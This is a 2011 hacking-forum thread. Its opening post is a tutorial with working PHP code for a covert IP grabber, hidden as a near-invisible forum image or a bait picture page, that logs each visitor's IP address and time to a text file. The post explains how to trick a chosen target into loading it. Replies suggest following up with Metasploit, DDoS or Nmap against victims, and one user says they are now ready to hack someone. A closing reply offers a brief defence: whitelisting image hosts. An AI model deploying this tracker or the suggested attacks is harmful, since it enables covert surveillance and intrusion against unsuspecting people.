This is a tutorial on how to make your own PHP IP grabber. What you can do with this is post the url to where the grabber is located wrapped in [ IMG ] tags on most forums that accept BBcode. The image is nearly invisible // easy to hide due to the fact that it shows only an approx 2 x 2 px blank box. Like this Below
The Box will then LOG the IP of anyone who loads the page that it's posted on and it will be written to a txt file on your host.
// But if you want to target someone to get their IP there is the alternate Image technique which will work with the code i provide. You will have a HTML page with an Image on with, ( any image you wish ). You give the person who's IP you want the link with the image and tell them something like " LOL look at this image " . As soon as the page is loaded their IP is written to your Txt file on the host.
How to Setup
You will need to create ONE file on your host with the code below in it.
Name it Image.php or Index.php // or anything you wish.
Where you see "@%@%@%@%@%@%@%@%@%" in the code replace that with the URL to the image you wish to get people to view for the second technique.Code:<html><head> <title>Image</title> </head><body> <img src="@%@%@%@%@%@%@%@%@%"> <?php $ip = $_SERVER['REMOTE_ADDR']; $time = date("Y-m-d G:i:s A"); $text = "".$time." => ".$ip.""; $file = fopen('xxloglist.txt' , 'a'); fwrite($file,$text."\n"); fclose($file); ?> <br> </body></html>
If you want to post the blank image wrap the URL where your index.php file is in IMG tags.
If you want to target one person using the second image technique just provide them the URL to the index.php file.
Your IP Logs will be written to a file called xxloglist.txt unless you change the write file in the code
Questions // Concerns ..just ask.
Thank the Post <3
Results 1 to 11 of 11
- 10 Oct. 2011 12:18am #1
Global Moderator Glamorous
- Join Date
- Apr. 2011
- Location
- 192.168.2.1
- Posts
- 990
- Reputation
- 584
- LCash
- 0.25
- Awards
PHP IP Grabber // Image Technique
Last edited by XiRaX; 10 Oct. 2011 at 07:00am.
- 10 Oct. 2011 12:22am #2
- 10 Oct. 2011 12:24am #3
Global Moderator Glamorous
- Join Date
- Apr. 2011
- Location
- 192.168.2.1
- Posts
- 990
- Reputation
- 584
- LCash
- 1.03
- Awards
- 10 Oct. 2011 12:29am #4
- 10 Oct. 2011 12:31am #5
Global Moderator Glamorous
- Join Date
- Apr. 2011
- Location
- 192.168.2.1
- Posts
- 990
- Reputation
- 584
- LCash
- 1.43
- Awards
- 10 Oct. 2011 12:40am #6
- 10 Oct. 2011 04:25am #7
Global Moderator Glamorous
- Join Date
- Apr. 2011
- Location
- 192.168.2.1
- Posts
- 990
- Reputation
- 584
- LCash
- 1.08
- Awards
- 10 Oct. 2011 02:14pm #8
- 10 Oct. 2011 08:08pm #9
- Join Date
- Apr. 2010
- Location
- When freedom is outlawed only outlaws will be free
- Posts
- 5,113
- Reputation
- 195
- LCash
- 1.54
Dummy, you could Metasploit them, DDoS them, Nmap them (Pretty much what metasploit does automatically) and lots of other things.
- 10 Oct. 2011 09:04pm #10
I'll look it up i'll five you a result and you tell me if it's good
---------- Post added at 09:04 PM ---------- Previous post was at 08:20 PM ----------
Holy moly I understood some hacking today! I can now be called cultivated thanks to you Fkareboy and XiRaX of course for setting this up i have everything i need to hack some one using metasploit and php IP grabbing thanks again
- 11 Oct. 2011 08:29am #11
There's no point in disabling *.php images, because you can just as easily serve a png/jpg/gif etc. file as a PHP file. Only real way to prevent it is to whitelist the allowed image hosts.
A lot of your code is redundant, but should work.